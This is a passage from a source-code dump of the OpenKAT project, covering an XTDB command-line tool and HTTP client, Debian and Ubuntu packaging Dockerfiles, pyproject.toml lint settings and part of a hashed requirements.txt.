click.Context, objecttype: str):\n    client: XTDBClient = ctx.obj[\"client\"]\n    objecttype = re.sub(r\"[^a-zA-Z0-9]\", \"\", objecttype)  # sanitize the object type.\n    objects = client.query(f'{{:query {{:find [ ?var ] :where [[?var :object_type \"{objecttype}\" ]]}}}}')\n\n    transactions = []\n\n    for ooi in objects:\n        transactions.append((\"evict\", ooi[0], datetime.datetime.now(tz=datetime.timezone.utc).isoformat()))\n\n    client.submit_tx(transactions)\n    click.echo(f\"Evicted all objects of type: {objecttype}\")\n\n\n@cli.command(help=\"Deletes an OOI by its primary_key with an evict.\")\n@click.argument(\"key\")\n@click.pass_context\ndef evict_ooi(ctx: click.Context, key: str):\n    client: XTDBClient = ctx.obj[\"client\"]\n\n    ooi = client.entity(key)\n    click.echo(f\"OOI Content was: {ooi}\")\n    transactions = []\n    transactions.append((\"evict\", key, datetime.datetime.now(tz=datetime.timezone.utc).isoformat()))\n\n    client.submit_tx(transactions)\n    click.echo(\"Evicted OOI\")\n\n\n@cli.command(help=\"Deletes objects where their id matches a searchstring with an evict.\")\n@click.option(\"--wetrun\", is_flag=True, help=\"Perform actual evicts.\")\n@click.option(\n    \"--searchtype\",\n    type=click.Choice([\"includes\", \"starts-with\", \"ends-with\"]),\n    help=\"Type of matching, defaults to 'includes'.\",\n    default=\"includes\",\n)\n@click.argument(\"searchstring\")\n@click.pass_context\ndef evict_from_search(ctx: click.Context, wetrun: bool, searchtype, searchstring: str):\n    client: XTDBClient = ctx.obj[\"client\"]\n\n    # Remove control characters that could break query\n    searchstring = re.sub(r\"[\\x00-\\x1f\\x7f]\", \"\", searchstring)\n    # Escape double quotes\n    searchstring = searchstring.replace('\"', '\\\\\"')\n\n    query = (\n        f'{{:query {{:find [ ?e ] :where [[?e :xt/id ?id] [(clojure.string/{searchtype}? ?id \"{searchstring}\")]]}}}}'\n    )\n    oois = client.query(query=query)\n    transactions = []\n    for ooi in oois:\n        click.echo(f\"Object Content was: {ooi[0]}\")\n        transactions.append((\"evict\", ooi[0], datetime.datetime.now(tz=datetime.timezone.utc).isoformat()))\n    if wetrun:\n        client.submit_tx(transactions)\n        click.echo(f\"Evicted {len(transactions)} objects\")\n    else:\n        click.echo(f\"Would have evicted {len(transactions)} objects\")\n\n\n@cli.command(help=\"Create a new Function\")\n@click.argument(\"name\")\n@click.argument(\"body\")\n@click.pass_context\ndef put_function(ctx: click.Context, name: str, body: str):\n    client: XTDBClient = ctx.obj[\"client\"]\n    transactions = [(\"put\", {\"xt/id\": name, \"xt/fn\": body})]\n    click.echo(json.dumps(client.submit_tx(transactions)))\n\n\n@cli.command(help=\"Call a Function\")\n@click.argument(\"name\")  # name of the function to call\n@click.argument(\"entity\")  # which entity to work on\n@click.argument(\"arguments\")  # any arguments, space separated\n@click.pass_context\ndef call_function(ctx: click.Context, name: str, entity: str, arguments: str):\n    client: XTDBClient = ctx.obj[\"client\"]\n    transactions = [(\"fn\", name, entity, *arguments.split())]\n    click.echo(json.dumps(client.submit_tx(transactions, datetime.datetime.now(tz=datetime.timezone.utc))))\n\n\nif __name__ == \"__main__\":\n    cli()\n"
  },
  {
    "path": "octopoes/tools/xtdb_client.py",
    "content": "import datetime\nimport json\nimport re\nfrom functools import cached_property\n\nimport httpx\nfrom pydantic import JsonValue\n\nPutTransaction = (\n    tuple[str, dict]\n    | tuple[str, dict, str | datetime.datetime]\n    | tuple[str, dict, str | datetime.datetime, str | datetime.datetime]\n)\n\nFnTransaction = tuple[str, str, str, ...]\n\nDeleteTransaction = (\n    tuple[str] | tuple[str, str | datetime.datetime] | tuple[str, str | datetime.datetime, str | datetime.datetime]\n)\n\nEvictTransaction = DeleteTransaction\n\nSimpleTransactions = list[PutTransaction | DeleteTransaction | EvictTransaction]\n\nMatchTransaction = (\n    tuple[str, str, dict, SimpleTransactions] | tuple[str, str, dict, str | datetime.datetime, SimpleTransactions]\n)\n\nTransactionType = PutTransaction | DeleteTransaction | EvictTransaction | MatchTransaction | FnTransaction\n\n\nclass XTDBClient:\n    def __init__(\n        self, base_url: str, node: str | None = None, timeout: int | None = None, headers: dict[str, str] | None = None\n    ):\n        self.base_url = base_url\n        self.node = node\n        self.timeout = timeout\n        self.headers = headers or {\"Accept\": \"application/json\"}\n\n    @cached_property\n    def server(self):\n        return httpx.Client(base_url=f\"{self.base_url}/_xtdb/\", headers=self.headers, timeout=self.timeout)\n\n    @cached_property\n    def client(self):\n        if not self.node:\n            raise ValueError(\"No Node given, cannot perform node based query.\")\n        return httpx.Client(base_url=f\"{self.base_url}/_xtdb/{self.node}\", headers=self.headers, timeout=self.timeout)\n\n    def nodes(self) -> JsonValue:\n        res = self.server.get(\"/list-nodes\")\n\n        return res.json()[\"nodes\"]\n\n    def create_node(self) -> JsonValue:\n        if not self.node:\n            raise ValueError(\"--node is required for create-node/delete-node\")\n        res = self.server.post(\n            \"/create-node\", content=f'{{:node \"{self.node}\"}}', headers={\"Content-Type\": \"application/edn\"}\n        )\n\n        return res.json()\n\n    def delete_node(self) -> JsonValue:\n        if not self.node:\n            raise ValueError(\"--node is required for create-node/delete-node\")\n        res = self.server.post(\n            \"/delete-node\", content=f'{{:node \"{self.node}\"}}', headers={\"Content-Type\": \"application/edn\"}\n        )\n\n        return res.json()\n\n    def status(self) -> JsonValue:\n        res = self.client.get(\"/status\")\n\n        return res.json()\n\n    def query(\n        self,\n        query: str = \"{:query {:find [ ?var ] :where [[?var :xt/id ]]}}\",\n        valid_time: datetime.datetime | None = None,\n        tx_time: datetime.datetime | None = None,\n        tx_id: int | None = None,\n    ) -> JsonValue:\n        params = {}\n        if valid_time is not None:\n            params[\"valid-time\"] = valid_time.isoformat()\n        if tx_time is not None:\n            params[\"tx-time\"] = tx_time.isoformat()\n        if tx_id is not None:\n            params[\"tx-id\"] = str(tx_id)\n\n        res = self.client.post(\"/query\", params=params, content=query, headers={\"Content-Type\": \"application/edn\"})\n\n        try:\n            return res.json()\n        except json.JSONDecodeError:\n            raise ValueError(res.content)\n\n    def entity(\n        self,\n        key: str,\n        valid_time: datetime.datetime | None = None,\n        tx_time: datetime.datetime | None = None,\n        tx_id: int | None = None,\n    ) -> JsonValue:\n        params = {\"eid\": key}\n        if valid_time is not None:\n            params[\"valid-time\"] = valid_time.isoformat()\n        if tx_time is not None:\n            params[\"tx-time\"] = tx_time.isoformat()\n        if tx_id is not None:\n            params[\"tx-id\"] = str(tx_id)\n\n        res = self.client.get(\"/entity\", params=params)\n\n        return res.json()\n\n    def history(self, key: str, with_corrections: bool, with_docs: bool) -> JsonValue:\n        params = {\"eid\": key, \"history\": True, \"sortOrder\": \"asc\"}\n        if with_corrections:\n            params[\"with-corrections\"] = \"true\"\n        if with_docs:\n            params[\"with-docs\"] = \"true\"\n\n        res = self.client.get(\"/entity\", params=params)\n\n        return res.json()\n\n    def entity_tx(\n        self,\n        key: str,\n        valid_time: datetime.datetime | None = None,\n        tx_time: datetime.datetime | None = None,\n        tx_id: int | None = None,\n    ) -> JsonValue:\n        params = {\"eid\": key}\n        if valid_time is not None:\n            params[\"valid-time\"] = valid_time.isoformat()\n        if tx_time is not None:\n            params[\"tx-time\"] = tx_time.isoformat()\n        if tx_id is not None:\n            params[\"tx-id\"] = str(tx_id)\n        res = self.client.get(\"/entity-tx\", params=params)\n\n        return res.json()\n\n    def attribute_stats(self) -> JsonValue:\n        res = self.client.get(\"/attribute-stats\")\n\n        return res.json()\n\n    def sync(self, timeout: int | None) -> JsonValue:\n        if timeout is not None:\n            res = self.client.get(\"/sync\", params={\"timeout\": timeout})\n        else:\n            res = self.client.get(\"/sync\")\n\n        return res.json()\n\n    def await_tx(self, transaction_id: int, timeout: int | None) -> JsonValue:\n        params = {\"txId\": transaction_id}\n        if timeout is not None:\n            params[\"timeout\"] = timeout\n        res = self.client.get(\"/await-tx\", params=params)\n\n        return res.json()\n\n    def await_tx_time(self, transaction_time: datetime.datetime, timeout: int | None) -> JsonValue:\n        params = {\"tx-time\": transaction_time.isoformat()}\n        if timeout is not None:\n            params[\"timeout\"] = str(timeout)\n        res = self.client.get(\"/await-tx-time\", params=params)\n\n        return res.json()\n\n    def tx_log(self, after_tx_id: int | None, with_ops: bool) -> JsonValue:\n        params = {}\n        if after_tx_id is not None:\n            params[\"after-tx-id\"] = after_tx_id\n        if with_ops:\n            params[\"with-ops?\"] = True\n\n        res = self.client.get(\"/tx-log\", params=params)\n\n        return res.json()\n\n    def origins(\n        self,\n        entity: str,\n        include_params: bool = False,\n        valid_time: datetime.datetime | None = None,\n        tx_time: datetime.datetime | None = None,\n        tx_id: int | None = None,\n    ) -> JsonValue:\n        # Remove control characters that could break query\n        entity = re.sub(r\"[\\x00-\\x1f\\x7f]\", \"\", entity)\n        # Escape double quotes\n        entity = entity.replace('\"', '\\\\\"')\n\n        if include_params:\n            query = f\"\"\"\n            {{\n              :query {{\n                :find [(pull ?x [*])]\n                :in [_type _result]\n                :where [\n                  [?e :type _type]\n                  [?e :result _result]\n\n                  (or-join [?x ?e]\n                    ;; the Origin itself\n                    [(= ?x ?e)]\n\n                    ;; linked OriginParameter\n                    [\n                      [?x :type \"OriginParameter\"]\n                      [?x :origin_id ?e]\n                    ])\n                ]\n              }}\n              :in-args [\"Origin\" \"{entity}\"]\n            }}\"\"\"\n        else:\n            query = f\"\"\"{{\n                :query {{\n                    :find [(pull ?e [*])]\n                    :in [_type _result]\n                    :where [[?e :type _type] [?e :result _result]]\n                }}\n                :in-args [ \"Origin\" \"{entity}\" ]\n            }}\"\"\"\n        return self.query(query, valid_time, tx_time, tx_id)\n\n    def submit_tx(self, transactions: list[TransactionType], valid_time: datetime.datetime | None = None) -> JsonValue:\n        data = {\"tx-ops\": transactions}\n        if valid_time:\n            data[\"valid-time\"] = valid_time.isoformat()\n        res = self.client.post(\"/submit-tx\", json=data)\n\n        return res.json()\n\n    def tx_committed(self, txid: int) -> JsonValue:\n        res = self.client.get(\"/tx-committed\", params={\"txId\": txid})\n\n        return res.json()\n\n    def latest_completed_tx(self) -> JsonValue:\n        res = self.client.get(\"/latest-completed-tx\")\n\n        return res.json()\n\n    def latest_submitted_tx(self) -> JsonValue:\n        res = self.client.get(\"/latest-submitted-tx\")\n\n        return res.json()\n\n    def active_queries(self) -> JsonValue:\n        res = self.client.get(\"/active-queries\")\n\n        return res.json()\n\n    def recent_queries(self) -> JsonValue:\n        res = self.client.get(\"/recent-queries\")\n\n        return res.json()\n\n    def slowest_queries(self) -> JsonValue:\n        res = self.client.get(\"/slowest-queries\")\n\n        return res.json()\n"
  },
  {
    "path": "packaging/debian12/Dockerfile",
    "content": "FROM debian:bookworm\n\nENV DEBIAN_FRONTEND=noninteractive\n\nSHELL [\"/bin/bash\", \"-c\"]\nARG NODE_VERSION=20.11.1\n\nRUN apt-get update && apt-get install -y --no-install-recommends curl ca-certificates xz-utils\nRUN curl -fsSL https://nodejs.org/dist/v${NODE_VERSION}/node-v${NODE_VERSION}-linux-x64.tar.xz \\\n | tar -xJ -C /usr/local --strip-components=1\n\nRUN apt-get update && apt-get -y upgrade && \\\n    apt-get install -y --no-install-recommends \\\n    gettext devscripts debhelper equivs \\\n    python3-setuptools python3-pip python3-dev \\\n    dh-sequence-python3 pybuild-plugin-pyproject python3-poetry \\\n    libssl-dev dh-virtualenv libpq-dev libssl-dev \\\n    build-essential nodejs git openssh-client \\\n    libfreetype-dev zlib1g-dev libjpeg-dev libffi-dev\nRUN corepack enable\n"
  },
  {
    "path": "packaging/ubuntu22.04/Dockerfile",
    "content": "FROM ubuntu:22.04\n\nENV DEBIAN_FRONTEND=noninteractive\n\nSHELL [\"/bin/bash\", \"-c\"]\nARG NODE_VERSION=20.11.1\n\nRUN apt-get update && apt-get install -y --no-install-recommends curl ca-certificates xz-utils\nRUN curl -fsSL https://nodejs.org/dist/v${NODE_VERSION}/node-v${NODE_VERSION}-linux-x64.tar.xz \\\n | tar -xJ -C /usr/local --strip-components=1\n\nRUN apt-get update && apt-get -y upgrade && \\\n    apt-get install -y --no-install-recommends \\\n    gettext devscripts debhelper equivs \\\n    python3-setuptools python3-pip python3-dev \\\n    libssl-dev dh-virtualenv libpq-dev libssl-dev \\\n    build-essential nodejs git openssh-client \\\n    libfreetype-dev zlib1g-dev libjpeg-dev libffi-dev\nRUN corepack enable\n"
  },
  {
    "path": "pyproject.toml",
    "content": "[project]\nname = \"openkat\"\nversion = \"0.0.1.dev1\"\ndescription = \"OpenKAT\"\nauthors = [{ name = \"LibreKAT\", email = \"maintainer@librekat.nl\" }]\nrequires-python = \">=3.10\"\nreadme = \"README.rst\"\nlicense = \"EUPL-1.2\"\ndependencies = [\n    \"sphinx>=8.1.3,<9\",\n    \"sphinx_rtd_theme>=3.0.2,<4\",\n    \"sphinxcontrib-mermaid>=1.0.0,<3\",\n    \"myst-parser>=4.0.1,<5\",\n    \"settings-doc>=4.3.2,<5\",\n    \"colorama==0.4.6\",\n    \"autodoc-pydantic>=2.2.0,<3\",\n    \"croniter>=6.0.0,<7\",\n    \"jsonschema>=4.17.0,<5\",\n    \"pygments>=2.20.0\",\n    \"requests>=2.33.0,<3\",\n    \"attrs>=26.1.0\",\n]\n\n[tool.uv]\npackage = false\n\n[tool.mypy]\npython_version = \"3.10\"\nplugins = [\"pydantic.mypy\"]\nstrict = true\ndisallow_subclassing_any = false\ndisallow_untyped_decorators = false # Needed for FastAPI decorators\ndisallow_any_generics = false\ndisallow_untyped_calls = false\ndisallow_incomplete_defs = false\ndisallow_untyped_defs = false\nno_implicit_reexport = false\nwarn_return_any = false\n\n[[tool.mypy.overrides]]\n# Following pydantic imports currently gives 2000 errors\nmodule = [\"pydantic.*\"]\nfollow_imports = \"skip\"\n\n[[tool.mypy.overrides]]\nmodule = [\"bytes.*\", \"cveapi.*\"]\ndisallow_any_generics = true\ndisallow_untyped_defs = true\ndisallow_untyped_calls = true\ndisallow_incomplete_defs = true\nno_implicit_reexport = true\n\n[tool.setuptools_scm]\nwrite_to = \"_version.py\"\n\n[tool.vulture]\nmin_confidence = 90\nexclude = [\"/tests/\", \"*venv*\", \"rocky/tools/migrations\"]\npaths = [\".\"]\n\n[tool.ruff]\nfix = true\n\n# Exclude a variety of commonly ignored directories.\nextend-exclude = [\n    \"__pycache__\"\n]\n\nline-length = 120\n\n# Support Python 3.10 and higher\ntarget-version = \"py310\"\n\n[tool.ruff.format]\nskip-magic-trailing-comma = true\n\n[tool.ruff.lint]\n# Enable classic flake8, pyflakes, eradicate, and tidyimport\n# To be extended with DJ, PT, RUF, C90, D, PL, RET\nselect = [\"E\", \"F\", \"ERA\", \"W\", \"TID\", \"I\", \"G\", \"INP\", \"T20\", \"UP\", \"ISC\", \"PTH\", \"SIM\", \"PLC\", \"A\", \"S\"]\nignore = [\n     \"A003\", # Built-in shadowing is usually not a problem and some built-ins have very generic names\n     \"SIM103\", # Creating long return statements is often less readable\n     \"SIM108\", # Ternary operator is not always more readable\n     \"S101\", # Assert use is normal in pytest tests\n     \"S104\", # Binding to all is normal in containers\n     \"S105\", # Disabled because of false positives\n     \"S106\", # Disabled because of false positives\n     \"S308\", # Mark_safe usage is okay\n     \"S324\", # Insecure hash functions can still be useful\n     \"S603\", # Disabled because of false positives\n     \"S607\", # Disabled because of false positives\n]\n\n# Add \"Example\" to allowed code comments\ntask-tags = [\"Example\", \"todo\", \"TODO\", \"FIXME\"]\n\n[tool.ruff.lint.per-file-ignores]\n\"__init__.py\" = [\"F401\",\"F403\"]\n\"whitelist.py\" = [\"F821\", \"INP\"]\n\"rocky/*/migrations/*.py\" = [\"E501\"]\n\"octopoes/bits/check_csp_header/check_csp_header.py\" = [\"ERA001\"]\n\"boefjes/boefjes/plugins/kat_binaryedge/http_web/normalize.py\" = [\"ERA001\"]\n\"*/packaging/*\" = [\"INP\"]\n\"*/.ci/*\" = [\"INP\"]\n\"conf.py\" = [\"INP\", \"PTH\", \"A\"]\n\"conftest.py\" = [\"INP\"]\n\"setup.py\" = [\"INP\"]\n\"manage.py\" = [\"INP\"]\n\"*/tests/*\" = [\"T20\"]\n\"boefjes/boefjes/plugins/*\" = [\"PTH\", \"S108\"]\n\"boefjes/images/*\" = [\"INP001\"]\n\"scripts/*.py\" = [\"INP001\", \"T201\"]\n\"cveapi/cveapi.py\" = [\"INP001\"]\n\n[tool.ruff.lint.flake8-tidy-imports.banned-api]\n\"rocky.settings\".msg = \"Use django.conf.settings\"\n\n[tool.ruff.lint.isort]\nsplit-on-trailing-comma = false\n\n[tool.codespell]\nignore-words-list = 'edn,juxt,assertIn'\n"
  },
  {
    "path": "requirements.txt",
    "content": "# This file was autogenerated by uv via the following command:\n#    uv export --project . --no-default-groups --format requirements-txt -o ./requirements.txt\nalabaster==1.0.0 \\\n    --hash=sha256:c00dca57bca26fa62a6d7d0a9fcce65f3e026e9bfe33e9c538fd3fbb2144fd9e \\\n    --hash=sha256:fc6786402dc3fcb2de3cabd5fe455a2db534b371124f1f21de8731783dec828b\n    # via sphinx\nannotated-types==0.7.0 \\\n    --hash=sha256:1f02e8b43a8fbbc3f3e0d4f0f4bfc8131bcb4eebe8849b8e5c773f3a1c582a53 \\\n    --hash=sha256:aff07c09a53a08bc8cfccb9c85b05f1aa9a2a6f23728d790723543408344ce89\n    # via pydantic\nattrs==26.1.0 \\\n    --hash=sha256:c647aa4a12dfbad9333ca4e71fe62ddc36f4e63b2d260a37a8b83d2f043ac309 \\\n    --hash=sha256:d03ceb89cb322a8fd706d4fb91940737b6642aa36998fe130a9bc96c985eff32\n    # via\n    #   jsonschema\n    #   openkat\n    #   referencing\nautodoc-pydantic==2.2.0 \\\n    --hash=sha256:8c6a36fbf6ed2700ea9c6d21ea76ad541b621fbdf16b5a80ee04673548af4d95\n    # via openkat\nbabel==2.18.0 \\\n    --hash=sha256:b80b99a14bd085fcacfa15c9165f651fbb3406e66cc603abf11c5750937c992d \\\n    --hash=sha256:e2b422b277c2b9a9630c1d7903c2a00d0830c409c59ac8cae9081c92f1aeba35\n    # via sphinx\ncertifi==2026.1.4 \\\n    --hash=sha256:9943707519e4add1115f44c2bc244f782c0249876bf51b6599fee1ffbedd685c \\\n    --hash=sha256:ac726dd470482006e014ad384921ed6438c457018f4b3d204aea4281258b2120\n    # via requests\ncharset-normalizer==3.4.4 \\\n    --hash=sha256:027f6de494925c0ab2a55eab46ae5129951638a49a34d87f4c3eda90f696b4ad \\\n    --hash=sha256:077fbb858e903c73f6c9db43374fd213b0b6a778106bc7032446a8e8b5b38b93 \\\n    --hash=sha256:0a98e6759f854bd25a58a73fa88833fba3b7c491169f86ce1180c948ab3fd394 \\\n    --hash=sha256:0d3d8f15c07f86e9ff82319b3d9ef6f4bf907608f53fe9d92b28ea9ae3d1fd89 \\\n    --hash=sha256:11d694519d7f29d6cd09f6ac70028dba10f92f6cdd059096db198c283794ac86 \\\n    --hash=sha256:21d142cc6c0ec30d2efee5068ca36c128a30b0f2c53c1c07bd78cb6bc1d3be5f \\\n    --hash=sha256:2437418e20515acec67d86e12bf70056a33abdacb5cb1655042f6538d6b085a8 \\\n    --hash=sha256:244bfb999c71b35de57821b8ea746b24e863398194a4014e4c76adc2bbdfeff0 \\\n    --hash=sha256:277e970e750505ed74c832b4bf75dac7476262ee2a013f5574dd49075879e161 \\\n    --hash=sha256:2b7d8f6c26245217bd2ad053761201e9f9680f8ce52f0fcd8d0755aeae5b2152 \\\n    --hash=sha256:3162d5d8ce1bb98dd51af660f2121c55d0fa541b46dff7bb9b9f86ea1d87de72 \\\n    --hash=sha256:31fd66405eaf47bb62e8cd575dc621c56c668f27d46a61d975a249930dd5e2a4 \\\n    --hash=sha256:362d61fd13843997c1c446760ef36f240cf81d3ebf74ac62652aebaf7838561e \\\n    --hash=sha256:376bec83a63b8021bb5c8ea75e21c4ccb86e7e45ca4eb81146091b56599b80c3 \\\n    --hash=sha256:47cc91b2f4dd2833fddaedd2893006b0106129d4b94fdb6af1f4ce5a9965577c \\\n    --hash=sha256:4bd5d4137d500351a30687c2d3971758aac9a19208fc110ccb9d7188fbe709e8 \\\n    --hash=sha256:542d2cee80be6f80247095cc36c418f7bddd14f4a6de45af91dfad36d817bba2 \\\n    --hash=sha256:554af85e960429cf30784dd47447d5125aaa3b99a6f0683589dbd27e2f45da44 \\\n    --hash=sha256:5833d2c39d8896e4e19b689ffc198f08ea58116bee26dea51e362ecc7cd3ed26 \\\n    --hash=sha256:5ae497466c7901d54b639cf42d5b8c1b6a4fead55215500d2f486d34db48d016 \\\n    --hash=sha256:5bd2293095d766545ec1a8f612559f6b40abc0eb18bb2f5d1171872d34036ede \\\n    --hash=sha256:5bfbb1b9acf3334612667b61bd3002196fe2a1eb4dd74d247e0f2a4d50ec9bbf \\\n    --hash=sha256:5dbe56a36425d26d6cfb40ce79c314a2e4dd6211d51d6d2191c00bed34f354cc \\\n    --hash=sha256:5f819d5fe9234f9f82d75bdfa9aef3a3d72c4d24a6e57aeaebba32a704553aa0 \\\n    --hash=sha256:64b55f9dce520635f018f907ff1b0df1fdc31f2795a922fb49dd14fbcdf48c84 \\\n    --hash=sha256:6515f3182dbe4ea06ced2d9e8666d97b46ef4c75e326b79bb624110f122551db \\\n    --hash=sha256:65e2befcd84bc6f37095f5961e68a6f077bf44946771354a28ad434c2cce0ae1 \\\n    --hash=sha256:6b39f987ae8ccdf0d2642338faf2abb1862340facc796048b604ef14919e55ed \\\n    --hash=sha256:6e1fcf0720908f200cd21aa4e6750a48ff6ce4afe7ff5a79a90d5ed8a08296f8 \\\n    --hash=sha256:74018750915ee7ad843a774364e13a3db91682f26142baddf775342c3f5b1133 \\\n    --hash=sha256:74664978bb272435107de04e36db5a9735e78232b85b77d45cfb38f758efd33e \\\n    --hash=sha256:74bb723680f9f7a6234dcf67aea57e708ec1fbdf5699fb91dfd6f511b0a320ef \\\n    --hash=sha256:752944c7ffbfdd10c074dc58ec2d5a8a4cd9493b314d367c14d24c17684ddd14 \\\n    --hash=sha256:780236ac706e66881f3b7f2f32dfe90507a09e67d1d454c762cf642e6e1586e0 \\\n    --hash=sha256:798d75d81754988d2565bff1b97ba5a44411867c0cf32b77a7e8f8d84796b10d \\\n    --hash=sha256:799a7a5e4fb2d5898c60b640fd4981d6a25f1c11790935a44ce38c54e985f828 \\\n    --hash=sha256:7a32c560861a02ff789ad905a2fe94e3f840803362c84fecf1851cb4cf3dc37f \\\n    --hash=sha256:81d5eb2a312700f4ecaa977a8235b634ce853200e828fbadf3a9c50bab278328 \\\n    --hash=sha256:82004af6c302b5d3ab2cfc4cc5f29db16123b1a8417f2e25f9066f91d4411090 \\\n    --hash=sha256:840c25fb618a231545cbab0564a799f101b63b9901f2569faecd6b222ac72381 \\\n    --hash=sha256:8a6562c3700cce886c5be75ade4a5db4214fda19fede41d9792d100288d8f94c \\\n    --hash=sha256:8af65f14dc14a79b924524b1e7fffe304517b2bff5a58bf64f30b98bbc5079eb \\\n    --hash=sha256:8ef3c867360f88ac904fd3f5e1f902f13307af9052646963ee08ff4f131adafc \\\n    --hash=sha256:94537985111c35f28720e43603b8e7b43a6ecfb2ce1d3058bbe955b73404e21a \\\n    --hash=sha256:99ae2cffebb06e6c22bdc25801d7b30f503cc87dbd283479e7b606f70aff57ec \\\n    --hash=sha256:9a26f18905b8dd5d685d6d07b0cdf98a79f3c7a918906af7cc143ea2e164c8bc \\\n    --hash=sha256:9b35f4c90079ff2e2edc5b26c0c77925e5d2d255c42c74fdb70fb49b172726ac \\\n    --hash=sha256:9cd98cdc06614a2f768d2b7286d66805f94c48cde050acdbbb7db2600ab3197e \\\n    --hash=sha256:9d1bb833febdff5c8927f922386db610b49db6e0d4f4ee29601d71e7c2694313 \\\n    --hash=sha256:9f7fcd74d410a36883701fafa2482a6af2ff5ba96b9a620e9e0721e28ead5569 \\\n    --hash=sha256:a59cb51917aa591b1c4e6a43c132f0cdc3c76dbad6155df4e28ee626cc77a0a3 \\\n    --hash=sha256:a61900df84c667873b292c3de315a786dd8dac506704dea57bc957bd31e22c7d \\\n    --hash=sha256:a79cfe37875f822425b89a82333404539ae63dbdddf97f84dcbc3d339aae9525 \\\n    --hash=sha256:a8a8b89589086a25749f471e6a900d3f662d1d3b6e2e59dcecf787b1cc3a1894 \\\n    --hash=sha256:ac1c4a689edcc530fc9d9aa11f5774b9e2f33f9a0c6a57864e90908f5208d30a \\\n    --hash=sha256:af2d8c67d8e573d6de5bc30cdb27e9b95e49115cd9baad5ddbd1a6207aaa82a9 \\\n    --hash=sha256:b435cba5f4f750aa6c0a0d92c541fb79f69a387c91e61f1795227e4ed9cece14 \\\n    --hash=sha256:b5b290ccc2a263e8d185130284f8501e3e36c5e02750fc6b6bdeb2e9e96f1e25 \\\n    --hash=sha256:bc7637e2f80d8530ee4a78e878bce464f70087ce73cf7c1caf142416923b98f1 \\\n    --hash=sha256:c0463276121fdee9c49b98908b3a89c39be45d86d1dbaa22957e38f6321d4ce3 \\\n    --hash=sha256:c8ae8a0f02f57a6e61203a31428fa1d677cbe50c93622b4149d5c0f319c1d19e \\\n    --hash=sha256:ca5862d5b3928c4940729dacc329aa9102900382fea192fc5e52eb69d6093815 \\\n    --hash=sha256:cb6254dc36b47a990e59e1068afacdcd02958bdcce30bb50cc1700a8b9d624a6 \\\n    --hash=sha256:cc00f04ed596e9dc0da42ed17ac5e596c6ccba999ba6bd92b0e0aef2f170f2d6 \\\n    --hash=sha256:cead0978fc57397645f12578bfd2d5ea9138ea0fac82b2f63f7f7c6877986a69 \\\n    --hash=sha256:d055ec1e26e441f6187acf818b73564e6e6282709e9bcb5b63f5b23068356a15 \\\n    --hash=sha256:d1f13550535ad8cff21b8d757a3257963e951d96e20ec82ab44bc64aeb62a191 \\\n    --hash=sha256:d9c7f57c3d666a53421049053eaacdd14bbd0a528e2186fcb2e672effd053bb0 \\\n    --hash=sha256:d9e45d7faa48ee908174d8fe84854479ef838fc6a705c9315372eacbc2f02897 \\\n    --hash=sha256:da3326d9e65ef63a817ecbcc0df6e94463713b754fe293eaa03da99befb9a5bd \\\n    --hash=sha256:de00632ca48df9daf77a2c65a484531649261ec9f25489917f09e455cb09ddb2 \\\n    --hash=sha256:e1f185f86a6f3403aa2420e815904c67b2f9ebc443f045edd0de921108345794 \\\n    --hash=sha256:e824f1492727fa856dd6eda4f7cee25f8518a12f3c4a56a74e8095695089cf6d \\\n    --hash=sha256:ebf3e58c7ec8a8bed6d66a75d7fb37b55e5015b03ceae72a8e7c74495551e224 \\\n    --hash=sha256:ecaae4149d99b1c9e7b88bb03e3221956f68fd6d50be2ef061b2381b61d20838 \\\n    --hash=sha256:eecbc200c7fd5ddb9a7f16c7decb07b566c29fa2161a16cf67b8d068bd21690a \\\n    --hash=sha256:f1e34719c6ed0b92f418c7c780480b26b5d9c50349e9a9af7d76bf757530350d \\\n    --hash=sha256:f34be2938726fc13801220747472850852fe6b1ea75869a048d6f896838c896f \\\n    --hash=sha256:f820802628d2694cb7e56db99213f930856014862f3fd943d290ea8438d07ca8 \\\n    --hash=sha256:f8bf04158c6b607d747e93949aa60618b61312fe647a6369f88ce2ff16043490 \\\n    --hash=sha256:f9d332f8c2a2fcbffe1378594431458ddbef721c1769d78e2cbc06280d8155f9 \\\n    --hash=sha256:faa3a41b2b66b6e50f84ae4a68c64fcd0c44355741c6374813a800cd6695db9e\n    # via requests\nclick==8.3.1 \\\n    --hash=sha256:12ff4785d337a1bb490bb7e9c2b1ee5da3112e94a8622f26a6c77f5d2fc6842a \\\n    --hash=sha256:981153a64e25f12d547d3426c367a4857371575ee7ad18df2a6183ab0545b2a6\n    # via settings-doc\ncolorama==0.4.6 \\\n    --hash=sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44 \\\n    --hash=sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6\n    # via\n    #   click\n    #   openkat\n    #   sphinx\ncroniter==6.0.0 \\\n    --hash=sha256:2f878c3856f17896979b2a4379ba1f09c83e374931ea15cc835c5dd2eee9b368 \\\n    --hash=sha256:37c504b313956114a983ece2c2b07790b1f1094fe9d81cc94739214748255577\n    # via openkat\ndocutils==0.21.2 \\\n    --hash=sha256:3a6b18732edf182daa3cd12775bbb338cf5691468f91eeeb109deff6ebfa986f \\\n    --hash=sha256:dafca5b9e384f0e419294eb4d2ff9fa826435bf15f15b7bd45723e8ad76811b2\n    # via\n    #   myst-parser\n    #   sphinx\n    #   sphinx-rtd-theme\nidna==3.11 \\\n    --hash=sha256:771a87f49d9defaf64091e6e6fe9c18d4833f140bd19464795bc32d966ca37ea \\\n    --hash=sha256:795dafcc9c04ed0c1fb032c2aa73654d8e8c5023a7df64a53f39190ada629902\n    # via requests\nimagesize==1.4.1 \\\n    --hash=sha256:0d8d18d08f840c19d0ee7ca1fd82490fdc3729b7ac93f49870406ddde8ef8d8b \\\n    --hash=sha256:69150444affb9cb0d5cc5a92b3676f0b2fb7cd9ae39e947a5e11a36b4497cd4a\n    # via sphinx\njinja2==3.1.6 \\\n    --hash=sha256:0137fb05990d35f1275a587e9aee6d56da821fc83491a0fb838183be43f66d6d \\\n    --hash=sha256:85ece4451f492d0c13c5dd7c13a64681a86afae63a5f347908daf103ce6d2f67\n    # via\n    #   myst-parser\n    #   settings-doc\n    #   sphinx\n    #   sphinxcontrib-mermaid\njsonschema==4.26.0 \\\n    --hash=sha256:0c26707e2efad8aa1bfc5b7ce170f3fccc2e4918ff85989ba9ffa9facb2be326 \\\n    --hash=sha256:d489f15263b8d200f8387e64b4c3a75f06629559fb73deb8fdfb525f2dab50ce\n    # via openkat\njsonschema-specifications==2025.9.1 \\\n    --hash=sha256:98802fee3a11ee76ecaca44429fda8a41bff98b00a0f2838151b113f210cc6fe \\\n    